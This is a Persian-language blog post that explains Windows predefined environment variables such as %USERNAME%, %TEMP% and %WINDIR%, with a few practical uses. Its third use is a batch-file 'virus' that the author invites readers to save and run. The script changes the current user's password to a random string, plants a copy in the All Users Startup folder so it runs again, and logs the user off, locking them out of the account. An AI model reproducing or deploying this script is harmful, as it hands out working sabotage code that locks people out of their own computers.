Archive

Archive for the ‘cmd’ Category

متغيرهاي تعريف شده در ويندوز + كاربرد

2009/01/15 18 دیدگاه

در ويندوز تعدادي متغير به طور پيش فرض تعريف شده كه اطلاعات مفيدي را دارد به عنوان مثال نام كاربرفعال.
هر كدام از اين متغيرها را در RUN يا CMD يا اسكريپتهاي BAT مي توان به كار برد
 
%ALLUSERSPROFILE% پروفايل همه كاربران
%APPDATA% مسير فايلهاي تنظيمات برنامه ها
%COMPUTERNAME% نام كامپيوتر
%DATE% تاريخ جاري را بازگشت مي دهد
%HOMEDRIVE% مسير كاربر فعال با نام درايو
%HOMEPATH% مسير كاربر فعال بدون نام درايو
%NUMBER_OF_PROCESSORS% تعداد پردازشگرهاي سيستم
%OS% نام سيستم عامل
%PATH% مسيري كه هنگام اجرا كردن دستوري در RUN  به دنبال فايلهاي اجرايي مي گردد
%PROCESSOR_ARCHITECTURE% پردازنده نصب شده
%RANDOM% عددي اتفاقي صحيح بين صفر و 32767
%SYSTEMDRIVE% درايويي كه ويندوز در آن نصب شده است
%SYSTEMROOT% مسير نصب ويندوز
%TEMP% و %TMP% محل فايلهاي موقتي
%TIME% زمان جاري
%USERDOMAIN% دامين كاربر
%USERNAME% نام كاربر فعال
%USERPROFILE% پروفايل كاربر فعال
%WINDIR% مسير نصب ويندوز
كاربرد اول:
فرض كنيد با برنامه WINRAR يك نصب كننده كوچك ساخته ايد و مي خواهيد مسير پيش فرض آن پوشه ويندوز باشد ولي WINRAR چنين مسيري را در برنامه خود پشتيباني نمي كند ولي با دانستن مطلب بالا كافي است عبارت %WINDIR% را در قسمت PATH TO EXTRACT بنويسيد
winrar_path
كاربرد دوم:
مي خواهيد فايلهاي موقتي ويندوز را پاك كنيد تا هم فضاي بيشتري به دست آوريد و هم ردپايي از شما بر جا نماند
از منوي استارت گزينه run را انتخاب كرده و در آن عبارت %TEMP% و يا  %TMP% را نوشته و بعد از اوكي همه فايلها و فولدرهاي پنجره باز شده را پاك كنيد.
 
كاربرد سوم:
يك ويروس كوچك اما خطرناك;متن زير را  در برنامه نت پد كپي كنيد و آن را با نام دلخواه و پسوند bat ذخيره كنيد مثلا hello.bat بعد آن را باز كنيد تا نتيجه را ببينيدو هيچگاه فراموش نكنيد. هر چند با تغييرات كوچك در اين ويروس آن را مي توان خيلي خطرناكتر كرد ولي از اين كار بي خيال شدم
 

net user %username% %random%%random%%random%%random%%random%%random%%random%
echo net user %%username%% %%random%%%%random%%%%random%%%%random%%%%random%%%%random%%%%random%% > "%ALLUSERSPROFILE%\Start Menu\Programs\Startup\egza-virus%random%.bat"
logoff

 

hello bat

اطلاعات بيشتر در مورد متغيرهاي تعريف شده در ويندوز را در كمك ويندوز با نوشتن عبارت Command shell overview به دست آوريد